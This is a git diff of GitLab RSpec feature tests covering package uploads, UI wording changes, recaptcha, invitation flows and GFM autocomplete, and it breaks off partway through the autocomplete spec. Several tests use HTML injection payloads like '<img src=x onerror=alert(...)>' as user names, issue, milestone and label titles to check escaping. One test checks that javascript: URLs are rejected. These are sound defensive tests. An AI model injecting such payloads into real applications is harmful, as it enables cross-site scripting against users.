+++ b/spec/features/file_uploads/nuget_package_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe 'Upload a nuget package', :api, :js do
include_context 'file upload requests helpers'
let_it_be(:project) { create(:project) }
- let_it_be(:user) { create(:user, :admin) }
+ let_it_be(:user) { project.owner }
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
let(:api_path) { "/projects/#{project.id}/packages/nuget/" }
@@ -21,7 +21,7 @@ RSpec.describe 'Upload a nuget package', :api, :js do
)
end
- RSpec.shared_examples 'for a nuget package' do
+ shared_examples 'for a nuget package' do
it 'creates package files' do
expect { subject }
.to change { Packages::Package.nuget.count }.by(1)
diff --git a/spec/features/file_uploads/rubygem_package_spec.rb b/spec/features/file_uploads/rubygem_package_spec.rb
new file mode 100644
index 00000000000..4a5891fdfed
--- /dev/null
+++ b/spec/features/file_uploads/rubygem_package_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Upload a RubyGems package', :api, :js do
+ include_context 'file upload requests helpers'
+
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { project.owner }
+ let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+
+ let(:api_path) { "/projects/#{project_id}/packages/rubygems/api/v1/gems" }
+ let(:url) { capybara_url(api(api_path)) }
+ let(:file) { fixture_file_upload('spec/fixtures/dk.png') }
+
+ subject do
+ HTTParty.post(
+ url,
+ headers: { 'Authorization' => personal_access_token.token },
+ body: { file: file }
+ )
+ end
+
+ shared_examples 'for a Rubygems package' do
+ it 'creates package files' do
+ expect { subject }
+ .to change { Packages::Package.rubygems.count }.by(1)
+ .and change { Packages::PackageFile.count }.by(1)
+ end
+
+ it { expect(subject.code).to eq(201) }
+ end
+
+ context 'with an integer project ID' do
+ let(:project_id) { project.id }
+
+ it_behaves_like 'handling file uploads', 'for a Rubygems package'
+ end
+
+ context 'with an encoded project ID' do
+ let(:project_id) { "#{project.namespace.path}%2F#{project.path}" }
+
+ it_behaves_like 'handling file uploads', 'for a Rubygems package'
+ end
+end
diff --git a/spec/features/frequently_visited_projects_and_groups_spec.rb b/spec/features/frequently_visited_projects_and_groups_spec.rb
index b8797d9c139..6c25afdf6d4 100644
--- a/spec/features/frequently_visited_projects_and_groups_spec.rb
+++ b/spec/features/frequently_visited_projects_and_groups_spec.rb
@@ -6,6 +6,8 @@ RSpec.describe 'Frequently visited items', :js do
let_it_be(:user) { create(:user) }
before do
+ stub_feature_flags(combined_menu: false)
+
sign_in(user)
end
diff --git a/spec/features/gitlab_experiments_spec.rb b/spec/features/gitlab_experiments_spec.rb
new file mode 100644
index 00000000000..76b418adcea
--- /dev/null
+++ b/spec/features/gitlab_experiments_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe "Gitlab::Experiment", :js do
+ # This is part of a set of tests that ensure that tracking remains
+ # consistent at the front end layer. Since we don't want to actually
+ # introduce an experiment in real code, we're going to simulate it
+ # here.
+ let(:user) { create(:user) }
+
+ before do
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
+ stub_experiments(null_hypothesis: :candidate)
+ end
+
+ describe 'with event tracking' do
+ it 'publishes the experiments that have been run to the client', :experiment do
+ allow_next_instance_of(Admin::AbuseReportsController) do |instance|
+ allow(instance).to receive(:index).and_wrap_original do |original|
+ instance.experiment(:null_hypothesis, user: instance.current_user) do |e|
+ e.use { original.call }
+ e.try { original.call }
+ end
+ end
+ end
+
+ visit admin_abuse_reports_path
+
+ expect(page).to have_content('Abuse Reports')
+
+ published_experiments = page.evaluate_script('window.gon.experiment')
+ expect(published_experiments).to include({
+ 'null_hypothesis' => {
+ 'experiment' => 'null_hypothesis',
+ 'key' => anything,
+ 'variant' => 'candidate'
+ }
+ })
+ end
+ end
+end
diff --git a/spec/features/groups/board_spec.rb b/spec/features/groups/board_spec.rb
index aab3f5e68d5..b4c60ff4fa3 100644
--- a/spec/features/groups/board_spec.rb
+++ b/spec/features/groups/board_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe 'Group Boards' do
find('.gl-new-dropdown-item button').click
end
- click_button 'Submit issue'
+ click_button 'Create issue'
expect(page).to have_content(issue_title)
end
diff --git a/spec/features/groups/clusters/user_spec.rb b/spec/features/groups/clusters/user_spec.rb
index 97f8864aab2..2a7ededa39b 100644
--- a/spec/features/groups/clusters/user_spec.rb
+++ b/spec/features/groups/clusters/user_spec.rb
@@ -97,7 +97,7 @@ RSpec.describe 'User Cluster', :js do
context 'when user disables the cluster' do
before do
page.find(:css, '.js-cluster-enable-toggle-area .js-project-feature-toggle').click
- page.within('.js-cluster-integration-form') { click_button 'Save changes' }
+ page.within('.js-cluster-details-form') { click_button 'Save changes' }
end
it 'user sees the successful message' do
diff --git a/spec/features/groups/group_page_with_external_authorization_service_spec.rb b/spec/features/groups/group_page_with_external_authorization_service_spec.rb
index 8ef1b60d8ca..187d878472e 100644
--- a/spec/features/groups/group_page_with_external_authorization_service_spec.rb
+++ b/spec/features/groups/group_page_with_external_authorization_service_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe 'The group page' do
expect(page).to have_link('Details')
expect(page).to have_link('Activity')
expect(page).to have_link('Issues')
- expect(page).to have_link('Merge Requests')
+ expect(page).to have_link('Merge requests')
expect(page).to have_link('Members')
end
end
@@ -50,7 +50,7 @@ RSpec.describe 'The group page' do
expect(page).not_to have_link('Contribution')
expect(page).not_to have_link('Issues')
- expect(page).not_to have_link('Merge Requests')
+ expect(page).not_to have_link('Merge requests')
expect(page).to have_link('Members')
end
end
diff --git a/spec/features/groups/group_settings_spec.rb b/spec/features/groups/group_settings_spec.rb
index 60cd1ebbbd7..00ad1006037 100644
--- a/spec/features/groups/group_settings_spec.rb
+++ b/spec/features/groups/group_settings_spec.rb
@@ -175,7 +175,7 @@ RSpec.describe 'Edit group settings' do
end
def updated_emails_disabled?
- group.reload.clear_memoization(:emails_disabled)
+ group.reload.clear_memoization(:emails_disabled_memoized)
group.emails_disabled?
end
end
diff --git a/spec/features/groups/issues_spec.rb b/spec/features/groups/issues_spec.rb
index 8ecd2beba68..b0d2f90145f 100644
--- a/spec/features/groups/issues_spec.rb
+++ b/spec/features/groups/issues_spec.rb
@@ -108,7 +108,7 @@ RSpec.describe 'Group issues page' do
it 'shows projects only with issues feature enabled', :js do
find('.empty-state .js-lazy-loaded')
- find('.new-project-item-link').click
+ find('.empty-state .new-project-item-link').click
page.within('.select2-results') do
expect(page).to have_content(project.full_name)
diff --git a/spec/features/groups/labels/index_spec.rb b/spec/features/groups/labels/index_spec.rb
index 3de29231f5c..68f03368989 100644
--- a/spec/features/groups/labels/index_spec.rb
+++ b/spec/features/groups/labels/index_spec.rb
@@ -24,6 +24,6 @@ RSpec.describe 'Group labels' do
end
it 'shows an edit label button', :js do
- expect(page).to have_selector('.label-action.edit')
+ expect(page).to have_selector('.edit')
end
end
diff --git a/spec/features/groups/members/master_adds_member_with_expiration_date_spec.rb b/spec/features/groups/members/master_adds_member_with_expiration_date_spec.rb
index 38deee547a3..d31a7977f66 100644
--- a/spec/features/groups/members/master_adds_member_with_expiration_date_spec.rb
+++ b/spec/features/groups/members/master_adds_member_with_expiration_date_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Groups > Members > Owner adds member with expiration date', :js
let_it_be(:user1) { create(:user, name: 'John Doe') }
let_it_be(:group) { create(:group) }
+
let(:new_member) { create(:user, name: 'Mary Jane') }
before do
diff --git a/spec/features/groups/members/request_access_spec.rb b/spec/features/groups/members/request_access_spec.rb
index 307cb63ec8e..827962fee61 100644
--- a/spec/features/groups/members/request_access_spec.rb
+++ b/spec/features/groups/members/request_access_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'Groups > Members > Request access' do
end
it 'request access feature is disabled' do
- group.update(request_access_enabled: false)
+ group.update!(request_access_enabled: false)
visit group_path(group)
expect(page).not_to have_content 'Request Access'
diff --git a/spec/features/groups/merge_requests_spec.rb b/spec/features/groups/merge_requests_spec.rb
index 43d4b6b23e0..f79c93157dc 100644
--- a/spec/features/groups/merge_requests_spec.rb
+++ b/spec/features/groups/merge_requests_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe 'Group merge requests page' do
end
it 'ignores archived merge request count badges in navbar' do
- expect(first(:link, text: 'Merge Requests').find('.badge').text).to eq("1")
+ expect(first(:link, text: 'Merge requests').find('.badge').text).to eq("1")
end
it 'ignores archived merge request count badges in state-filters' do
diff --git a/spec/features/groups/milestone_spec.rb b/spec/features/groups/milestone_spec.rb
index 8d1008b98a6..1d9ac5ee1e9 100644
--- a/spec/features/groups/milestone_spec.rb
+++ b/spec/features/groups/milestone_spec.rb
@@ -133,7 +133,7 @@ RSpec.describe 'Group milestones' do
href: project_issues_path(project, milestone_title: 'v1.0')
)
expect(page).to have_link(
- '0 Merge Requests',
+ '0 Merge requests',
href: project_merge_requests_path(project, milestone_title: 'v1.0')
)
expect(page).to have_link(
@@ -145,7 +145,7 @@ RSpec.describe 'Group milestones' do
href: issues_group_path(group, milestone_title: 'GL-113')
)
expect(page).to have_link(
- '0 Merge Requests',
+ '0 Merge requests',
href: merge_requests_group_path(group, milestone_title: 'GL-113')
)
end
@@ -179,7 +179,7 @@ RSpec.describe 'Group milestones' do
it 'renders the merge requests tab' do
within('.js-milestone-tabs') do
- click_link('Merge Requests')
+ click_link('Merge requests')
end
within('#tab-merge-requests') do
diff --git a/spec/features/groups/navbar_spec.rb b/spec/features/groups/navbar_spec.rb
index 7025874a4ff..021b1af54d4 100644
--- a/spec/features/groups/navbar_spec.rb
+++ b/spec/features/groups/navbar_spec.rb
@@ -30,7 +30,7 @@ RSpec.describe 'Group navbar' do
]
},
{
- nav_item: _('Merge Requests'),
+ nav_item: _('Merge requests'),
nav_sub_items: []
},
(security_and_compliance_nav_item if Gitlab.ee?),
@@ -68,7 +68,7 @@ RSpec.describe 'Group navbar' do
before do
stub_config(registry: { enabled: true })
- insert_container_nav(_('Kubernetes'))
+ insert_container_nav
visit group_path(group)
end
@@ -80,7 +80,7 @@ RSpec.describe 'Group navbar' do
before do
stub_config(dependency_proxy: { enabled: true })
- insert_dependency_proxy_nav(_('Dependency Proxy'))
+ insert_dependency_proxy_nav
visit group_path(group)
end
diff --git a/spec/features/groups/settings/user_searches_in_settings_spec.rb b/spec/features/groups/settings/user_searches_in_settings_spec.rb
index 819d0c4faba..6d7a3871bb1 100644
--- a/spec/features/groups/settings/user_searches_in_settings_spec.rb
+++ b/spec/features/groups/settings/user_searches_in_settings_spec.rb
@@ -5,7 +5,6 @@ require 'spec_helper'
RSpec.describe 'User searches group settings', :js do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
- let_it_be(:project) { create(:project, :repository, namespace: group) }
before do
group.add_owner(user)
@@ -13,9 +12,19 @@ RSpec.describe 'User searches group settings', :js do
end
context 'in general settings page' do
- let(:visit_path) { edit_group_path(group) }
+ before do
+ visit edit_group_path(group)
+ end
+
+ it_behaves_like 'can search settings', 'Naming', 'Permissions'
+ end
+
+ context 'in Integrations page' do
+ before do
+ visit group_settings_integrations_path(group)
+ end
- it_behaves_like 'can search settings with feature flag check', 'Naming', 'Permissions'
+ it_behaves_like 'can highlight results', 'set default configuration'
end
context 'in Repository page' do
@@ -33,4 +42,12 @@ RSpec.describe 'User searches group settings', :js do
it_behaves_like 'can search settings', 'Variables', 'Runners'
end
+
+ context 'in Packages & Registries page' do
+ before do
+ visit group_settings_packages_and_registries_path(group)
+ end
+
+ it_behaves_like 'can highlight results', 'GitLab Packages'
+ end
end
diff --git a/spec/features/groups_spec.rb b/spec/features/groups_spec.rb
index 28b22860f0a..33d2ac50628 100644
--- a/spec/features/groups_spec.rb
+++ b/spec/features/groups_spec.rb
@@ -141,6 +141,30 @@ RSpec.describe 'Group' do
end
end
end
+
+ describe 'showing recaptcha on group creation when it is enabled' do
+ before do
+ stub_application_setting(recaptcha_enabled: true)
+ allow(Gitlab::Recaptcha).to receive(:load_configurations!)
+ visit new_group_path
+ end
+
+ it 'renders recaptcha' do
+ expect(page).to have_css('.recaptcha')
+ end
+ end
+
+ describe 'not showing recaptcha on group creation when it is disabled' do
+ before do
+ stub_feature_flags(recaptcha_on_top_level_group_creation: false)
+ stub_application_setting(recaptcha_enabled: true)
+ visit new_group_path
+ end
+
+ it 'does not render recaptcha' do
+ expect(page).not_to have_css('.recaptcha')
+ end
+ end
end
describe 'create a nested group' do
@@ -189,6 +213,46 @@ RSpec.describe 'Group' do
expect(page).to have_content("Group 'bar' was successfully created.")
end
end
+
+ context 'when recaptcha is enabled' do
+ before do
+ stub_application_setting(recaptcha_enabled: true)
+ allow(Gitlab::Recaptcha).to receive(:load_configurations!)
+ end
+
+ context 'when creating subgroup' do
+ let(:path) { new_group_path(group, parent_id: group.id) }
+
+ it 'does not render recaptcha' do
+ visit path
+
+ expect(page).not_to have_css('.recaptcha')
+ end
+ end
+ end
+
+ describe 'real-time group url validation', :js do
+ let_it_be(:subgroup) { create(:group, path: 'sub', parent: group) }
+
+ before do
+ group.add_owner(user)
+ visit new_group_path(parent_id: group.id)
+ end
+
+ it 'shows a message if group url is available' do
+ fill_in 'Group URL', with: group.path
+ wait_for_requests
+
+ expect(page).to have_content('Group path is available')
+ end
+
+ it 'shows an error if group url is taken' do
+ fill_in 'Group URL', with: subgroup.path
+ wait_for_requests
+
+ expect(page).to have_content('Group path is already taken')
+ end
+ end
end
it 'checks permissions to avoid exposing groups by parent_id' do
@@ -203,6 +267,7 @@ RSpec.describe 'Group' do
describe 'group edit', :js do
let_it_be(:group) { create(:group, :public) }
+
let(:path) { edit_group_path(group) }
let(:new_name) { 'new-name' }
@@ -248,6 +313,7 @@ RSpec.describe 'Group' do
describe 'group page with markdown description' do
let_it_be(:group) { create(:group) }
+
let(:path) { group_path(group) }
before do
diff --git a/spec/features/ide/clientside_preview_csp_spec.rb b/spec/features/ide/clientside_preview_csp_spec.rb
index eadcb9cd008..559edb8bf53 100644
--- a/spec/features/ide/clientside_preview_csp_spec.rb
+++ b/spec/features/ide/clientside_preview_csp_spec.rb
@@ -7,9 +7,7 @@ RSpec.describe 'IDE Clientside Preview CSP' do
shared_context 'disable feature' do
before do
- allow_next_instance_of(ApplicationSetting) do |instance|
- allow(instance).to receive(:web_ide_clientside_preview_enabled?).and_return(false)
- end
+ stub_application_setting(web_ide_clientside_preview_enabled: false)
end
end
@@ -24,10 +22,8 @@ RSpec.describe 'IDE Clientside Preview CSP' do
end
before do
- allow_next_instance_of(ApplicationSetting) do |instance|
- allow(instance).to receive(:web_ide_clientside_preview_enabled?).and_return(true)
- allow(instance).to receive(:web_ide_clientside_preview_bundler_url).and_return(whitelisted_url)
- end
+ stub_application_setting(web_ide_clientside_preview_enabled: true)
+ stub_application_setting(web_ide_clientside_preview_bundler_url: whitelisted_url)
sign_in(user)
end
diff --git a/spec/features/import/manifest_import_spec.rb b/spec/features/import/manifest_import_spec.rb
index dfd6211a683..520cf850da2 100644
--- a/spec/features/import/manifest_import_spec.rb
+++ b/spec/features/import/manifest_import_spec.rb
@@ -37,11 +37,20 @@ RSpec.describe 'Import multiple repositories by uploading a manifest file', :js
wait_for_requests
page.within(second_row) do
- expect(page).to have_content 'Done'
+ expect(page).to have_content 'Complete'
expect(page).to have_content("#{group.full_path}/build/blueprint")
end
end
+ it 'renders an error if the remote url scheme starts with javascript' do
+ visit new_import_manifest_path
+
+ attach_file('manifest', Rails.root.join('spec/fixtures/unsafe_javascript.xml'))
+ click_on 'List available repositories'
+
+ expect(page).to have_content 'Make sure the url does not start with javascript'
+ end
+
it 'renders an error if invalid file was provided' do
visit new_import_manifest_path
diff --git a/spec/features/invites_spec.rb b/spec/features/invites_spec.rb
index 2ceffa896eb..e9960802378 100644
--- a/spec/features/invites_spec.rb
+++ b/spec/features/invites_spec.rb
@@ -50,21 +50,23 @@ RSpec.describe 'Group or Project invitations', :aggregate_failures do
end
it 'renders sign in page with sign in notice' do
- expect(current_path).to eq(new_user_session_path)
- expect(page).to have_content('To accept this invitation, sign in')
+ expect(current_path).to eq(new_user_registration_path)
+ expect(page).to have_content('To accept this invitation, create an account or sign in')
end
it 'pre-fills the "Username or email" field on the sign in box with the invite_email from the invite' do
+ click_link 'Sign in'
+
expect(find_field('Username or email').value).to eq(group_invite.invite_email)
end
it 'pre-fills the Email field on the sign up box with the invite_email from the invite' do
- click_link 'Register now'
-
expect(find_field('Email').value).to eq(group_invite.invite_email)
end
it 'sign in, grants access and redirects to group page' do
+ click_link 'Sign in'
+
fill_in_sign_in_form(user)
expect(current_path).to eq(group_path(group))
@@ -85,20 +87,19 @@ RSpec.describe 'Group or Project invitations', :aggregate_failures do
end
end
- context 'when inviting a user' do
+ context 'when inviting an unregistered user' do
let(:new_user) { build_stubbed(:user) }
let(:invite_email) { new_user.email }
let(:group_invite) { create(:group_member, :invited, group: group, invite_email: invite_email, created_by: owner) }
let!(:project_invite) { create(:project_member, :invited, project: project, invite_email: invite_email) }
- context 'when user has not signed in yet' do
+ context 'when registering using invitation email' do
before do
stub_application_setting(send_user_confirmation_email: send_email_confirmation)
visit invite_path(group_invite.raw_invite_token)
- click_link 'Register now'
end
- context 'with admin appoval required enabled' do
+ context 'with admin approval required enabled' do
before do
stub_application_setting(require_admin_approval_after_user_signup: true)
end
diff --git a/spec/features/issues/bulk_assignment_labels_spec.rb b/spec/features/issues/bulk_assignment_labels_spec.rb
index aa61aff3b05..80bf964e2ee 100644
--- a/spec/features/issues/bulk_assignment_labels_spec.rb
+++ b/spec/features/issues/bulk_assignment_labels_spec.rb
@@ -295,8 +295,8 @@ RSpec.describe 'Issues > Labels bulk assignment' do
before do
issue1.milestone = milestone
issue2.milestone = milestone
- issue1.save
- issue2.save
+ issue1.save!
+ issue2.save!
issue1.labels << bug
issue2.labels << feature
diff --git a/spec/features/issues/create_issue_for_discussions_in_merge_request_spec.rb b/spec/features/issues/create_issue_for_discussions_in_merge_request_spec.rb
index a4e9df604a9..34d78880991 100644
--- a/spec/features/issues/create_issue_for_discussions_in_merge_request_spec.rb
+++ b/spec/features/issues/create_issue_for_discussions_in_merge_request_spec.rb
@@ -18,10 +18,6 @@ RSpec.describe 'Resolving all open threads in a merge request from an issue', :j
end
end
- before do
- stub_feature_flags(remove_resolve_note: false)
- end
-
describe 'as a user with access to the project' do
before do
project.add_maintainer(user)
@@ -37,7 +33,7 @@ RSpec.describe 'Resolving all open threads in a merge request from an issue', :j
context 'resolving the thread' do
before do
- click_button 'Resolve thread'
+ find('button[data-qa-selector="resolve_discussion_button"]').click
end
it 'hides the link for creating a new issue' do
diff --git a/spec/features/issues/create_issue_for_single_discussion_in_merge_request_spec.rb b/spec/features/issues/create_issue_for_single_discussion_in_merge_request_spec.rb
index 99dc71f0559..ac3471e8401 100644
--- a/spec/features/issues/create_issue_for_single_discussion_in_merge_request_spec.rb
+++ b/spec/features/issues/create_issue_for_single_discussion_in_merge_request_spec.rb
@@ -14,10 +14,6 @@ RSpec.describe 'Resolve an open thread in a merge request by creating an issue',
"a[title=\"#{title}\"][href=\"#{url}\"]"
end
- before do
- stub_feature_flags(remove_resolve_note: false)
- end
-
describe 'As a user with access to the project' do
before do
project.add_maintainer(user)
@@ -39,7 +35,7 @@ RSpec.describe 'Resolve an open thread in a merge request by creating an issue',
context 'resolving the thread' do
before do
- click_button 'Resolve thread'
+ find('button[data-qa-selector="resolve_discussion_button"]').click
end
it 'hides the link for creating a new issue' do
diff --git a/spec/features/issues/form_spec.rb b/spec/features/issues/form_spec.rb
index dac066856c0..5ca20028485 100644
--- a/spec/features/issues/form_spec.rb
+++ b/spec/features/issues/form_spec.rb
@@ -156,7 +156,7 @@ RSpec.describe 'New/edit issue', :js do
expect(page.all('input[name="issue[label_ids][]"]', visible: false)[1].value).to match(label.id.to_s)
expect(page.all('input[name="issue[label_ids][]"]', visible: false)[2].value).to match(label2.id.to_s)
- click_button 'Submit issue'
+ click_button 'Create issue'
page.within '.issuable-sidebar' do
page.within '.assignee' do
diff --git a/spec/features/issues/gfm_autocomplete_spec.rb b/spec/features/issues/gfm_autocomplete_spec.rb
index e6ebc37ba59..0cefbae4d37 100644
--- a/spec/features/issues/gfm_autocomplete_spec.rb
+++ b/spec/features/issues/gfm_autocomplete_spec.rb
@@ -3,16 +3,23 @@
require 'spec_helper'
RSpec.describe 'GFM autocomplete', :js do
- let_it_be(:user_xss_title) { 'eve <img src=x onerror=alert(2)&lt;img src=x onerror=alert(1)&gt;' }
- let_it_be(:user_xss) { create(:user, name: user_xss_title, username: 'xss.user') }
let_it_be(:user) { create(:user, name: '💃speciąl someone💃', username: 'someone.special') }
let_it_be(:user2) { create(:user, name: 'Marge Simpson', username: 'msimpson') }
+
let_it_be(:group) { create(:group, name: 'Ancestor') }
let_it_be(:child_group) { create(:group, parent: group, name: 'My group') }
let_it_be(:project) { create(:project, group: child_group) }
+
+ let_it_be(:issue) { create(:issue, project: project, assignees: [user]) }
let_it_be(:label) { create(:label, project: project, title: 'special+') }
+ let_it_be(:label_scoped) { create(:label, project: project, title: 'scoped::label') }
+ let_it_be(:label_with_spaces) { create(:label, project: project, title: 'Accepting merge requests') }
+ let_it_be(:snippet) { create(:project_snippet, project: project, title: 'code snippet') }
- let(:issue) { create(:issue, project: project) }
+ let_it_be(:user_xss_title) { 'eve <img src=x onerror=alert(2)&lt;img src=x onerror=alert(1)&gt;' }
+ let_it_be(:user_xss) { create(:user, name: user_xss_title, username: 'xss.user') }
+ let_it_be(:label_xss_title) { 'alert label &lt;img src=x onerror="alert(\'Hello xss\');" a' }
+ let_it_be(:label_xss) { create(:label, project: project, title: label_xss_title) }
before_all do
project.add_maintainer(user)
@@ -21,418 +28,366 @@ RSpec.describe 'GFM autocomplete', :js do
end
describe 'when tribute_autocomplete feature flag is off' do
- before do
- stub_feature_flags(tribute_autocomplete: false)
-
- sign_in(user)
- visit project_issue_path(project, issue)
-
- wait_for_requests
- end
-
- it 'updates issue description with GFM reference' do
- click_button 'Edit title and description'
-
- wait_for_requests
-
- fill_in 'Description', with: "@#{user.name[0...3]}"
-
- wait_for_requests
-
- find_highlighted_autocomplete_item.click
-
- click_button 'Save changes'
-
- wait_for_requests
-
- expect(find('.description')).to have_text(user.to_reference)
- end
-
- it 'opens quick action autocomplete when updating description' do
- click_button 'Edit title and description'
-
- fill_in 'Description', with: '/'
-
- expect(find_autocomplete_menu).to be_visible
- end
-
- it 'opens autocomplete menu when field starts with text' do
- fill_in 'Comment', with: '@'
-
- expect(find_autocomplete_menu).to be_visible
- end
-
- it 'opens autocomplete menu for Issues when field starts with text with item escaping HTML characters' do
- issue_xss_title = 'This will execute alert<img src=x onerror=alert(2)&lt;img src=x onerror=alert(1)&gt;'
- create(:issue, project: project, title: issue_xss_title)
-
- fill_in 'Comment', with: '#'
-
- wait_for_requests
+ describe 'new issue page' do
+ before do
+ stub_feature_flags(tribute_autocomplete: false)
- expect(find_autocomplete_menu).to have_text(issue_xss_title)
- end
+ sign_in(user)
+ visit new_project_issue_path(project)
- it 'opens autocomplete menu for Username when field starts with text with item escaping HTML characters' do
- fill_in 'Comment', with: '@ev'
+ wait_for_requests
+ end
- wait_for_requests
+ it 'allows quick actions' do
+ fill_in 'Description', with: '/'
- expect(find_highlighted_autocomplete_item).to have_text(user_xss.username)
+ expect(find_autocomplete_menu).to be_visible
+ end
end
- it 'opens autocomplete menu for Milestone when field starts with text with item escaping HTML characters' do
- milestone_xss_title = 'alert milestone &lt;img src=x onerror="alert(\'Hello xss\');" a'
- create(:milestone, project: project, title: milestone_xss_title)
+ describe 'issue description' do
+ let(:issue_to_edit) { create(:issue, project: project) }
- fill_in 'Comment', with: '%'
+ before do
+ stub_feature_flags(tribute_autocomplete: false)
- wait_for_requests
+ sign_in(user)
+ visit project_issue_path(project, issue_to_edit)
- expect(find_autocomplete_menu).to have_text('alert milestone')
- end
+ wait_for_requests
+ end
- it 'doesnt open autocomplete menu character is prefixed with text' do
- fill_in 'Comment', with: 'testing@'
+ it 'updates with GFM reference' do
+ click_button 'Edit title and description'
- expect(page).not_to have_css('.atwho-view')
- end
+ wait_for_requests
- it 'doesnt select the first item for non-assignee dropdowns' do
- fill_in 'Comment', with: ':'
+ fill_in 'Description', with: "@#{user.name[0...3]}"
- wait_for_requests
+ wait_for_requests
- expect(find_autocomplete_menu).not_to have_css('.cur')
- end
+ find_highlighted_autocomplete_item.click
- it 'does not open autocomplete menu when ":" is prefixed by a number and letters' do
- # Number.
- fill_in 'Comment', with: '7:'
- expect(page).not_to have_css('.atwho-view')
+ click_button 'Save changes'
- # ASCII letter.
- fill_in 'Comment', with: 'w:'
- expect(page).not_to have_css('.atwho-view')
+ wait_for_requests
- # Non-ASCII letter.
- fill_in 'Comment', with: 'Ð:'
- expect(page).not_to have_css('.atwho-view')
- end
+ expect(find('.description')).to have_text(user.to_reference)
+ end
- it 'selects the first item for assignee dropdowns' do
- fill_in 'Comment', with: '@'
+ it 'allows quick actions' do
+ click_button 'Edit title and description'
- wait_for_requests
+ fill_in 'Description', with: '/'
- expect(find_autocomplete_menu).to have_css('.cur:first-of-type')
+ expect(find_autocomplete_menu).to be_visible
+ end
end
- it 'includes items for assignee dropdowns with non-ASCII characters in name' do
- fill_in 'Comment', with: "@#{user.name[0...8]}"
+ describe 'issue comment' do
+ before do
+ stub_feature_flags(tribute_autocomplete: false)
- wait_for_requests
+ sign_in(user)
+ visit project_issue_path(project, issue)
- expect(find_autocomplete_menu).to have_text(user.name)
- end
+ wait_for_requests
+ end
- it 'searches across full name for assignees' do
- fill_in 'Comment', with: '@speciÄ…lsome'
+ describe 'triggering autocomplete' do
+ it 'only opens autocomplete menu when trigger character is after whitespace', :aggregate_failures do
+ fill_in 'Comment', with: 'testing@'
+ expect(page).not_to have_css('.atwho-view')
- wait_for_requests
+ fill_in 'Comment', with: '@@'
+ expect(page).not_to have_css('.atwho-view')
- expect(find_highlighted_autocomplete_item).to have_text(user.name)
- end
+ fill_in 'Comment', with: "@#{user.username[0..2]}!"
+ expect(page).not_to have_css('.atwho-view')
- it 'shows names that start with the query as the top result' do
- fill_in 'Comment', with: '@mar'
+ fill_in 'Comment', with: "hello:#{user.username[0..2]}"
+ expect(page).not_to have_css('.atwho-view')
- wait_for_requests
+ fill_in 'Comment', with: '7:'
+ expect(page).not_to have_css('.atwho-view')
- expect(find_highlighted_autocomplete_item).to have_text(user2.name)
- end
-
- it 'shows usernames that start with the query as the top result' do
- fill_in 'Comment', with: '@msi'
+ fill_in 'Comment', with: 'w:'
+ expect(page).not_to have_css('.atwho-view')
- wait_for_requests
+ fill_in 'Comment', with: 'Ð:'
+ expect(page).not_to have_css('.atwho-view')
- expect(find_highlighted_autocomplete_item).to have_text(user2.name)
- end
+ fill_in 'Comment', with: "test\n\n@"
+ expect(find_autocomplete_menu).to be_visible
+ end
+ end
- # Regression test for https://gitlab.com/gitlab-org/gitlab/-/issues/321925
- it 'shows username when pasting then pressing Enter' do
- fill_in 'Comment', with: "@#{user.username}\n"
+ context 'xss checks' do
+ it 'opens autocomplete menu for Issues when field starts with text with item escaping HTML characters' do
+ issue_xss_title = 'This will execute alert<img src=x onerror=alert(2)&lt;img src=x onerror=alert(1)&gt;'
+ create(:issue, project: project, title: issue_xss_title)
- expect(find_field('Comment').value).to have_text "@#{user.username}"
- end
+ fill_in 'Comment', with: '#'
- it 'does not show `@undefined` when pressing `@` then Enter' do
- fill_in 'Comment', with: "@\n"
+ wait_for_requests
- expect(find_field('Comment').value).to have_text '@'
- expect(find_field('Comment').value).not_to have_text '@undefined'
- end
+ expect(find_autocomplete_menu).to have_text(issue_xss_title)
+ end
- it 'selects the first item for non-assignee dropdowns if a query is entered' do
- fill_in 'Comment', with: ':1'
+ it 'opens autocomplete menu for Username when field starts with text with item escaping HTML characters' do
+ fill_in 'Comment', with: '@ev'
- wait_for_requests
+ wait_for_requests
- expect(find_autocomplete_menu).to have_css('.cur:first-of-type')
- end
+ expect(find_highlighted_autocomplete_item).to have_text(user_xss.username)
+ end
- context 'if a selected value has special characters' do
- it 'wraps the result in double quotes' do
- fill_in 'Comment', with: "~#{label.title[0]}"
+ it 'opens autocomplete menu for Milestone when field starts with text with item escaping HTML characters' do
+ milestone_xss_title = 'alert milestone &lt;img src=x onerror="alert(\'Hello xss\');" a'
+ create(:milestone, project: project, title: milestone_xss_title)
- find_highlighted_autocomplete_item.click
+ fill_in 'Comment', with: '%'
- expect(find_field('Comment').value).to have_text("~\"#{label.title}\"")
- end
+ wait_for_requests
- it "shows dropdown after a new line" do
- fill_in 'Comment', with: "test\n\n@"
+ expect(find_autocomplete_menu).to have_text('alert milestone')
+ end
- expect(find_autocomplete_menu).to be_visible
- end
+ it 'opens autocomplete menu for Labels when field starts with text with item escaping HTML characters' do
+ fill_in 'Comment', with: '~'
- it "does not show dropdown when preceded with a special character" do
- fill_in 'Comment', with: '@@'
+ wait_for_requests
- expect(page).not_to have_css('.atwho-view')
+ expect(find_autocomplete_menu).to have_text('alert label')
+ end
end
- it 'doesn\'t wrap for assignee values' do
- fill_in 'Comment', with: "@#{user.username[0]}"
+ describe 'autocomplete highlighting' do
+ it 'auto-selects the first item when there is a query, and only for assignees with no query', :aggregate_failures do
+ fill_in 'Comment', with: ':'
+ wait_for_requests
+ expect(find_autocomplete_menu).not_to have_css('.cur')
- find_highlighted_autocomplete_item.click
+ fill_in 'Comment', with: ':1'
+ wait_for_requests
+ expect(find_autocomplete_menu).to have_css('.cur:first-of-type')
- expect(find_field('Comment').value).to have_text("@#{user.username}")
+ fill_in 'Comment', with: '@'
+ wait_for_requests
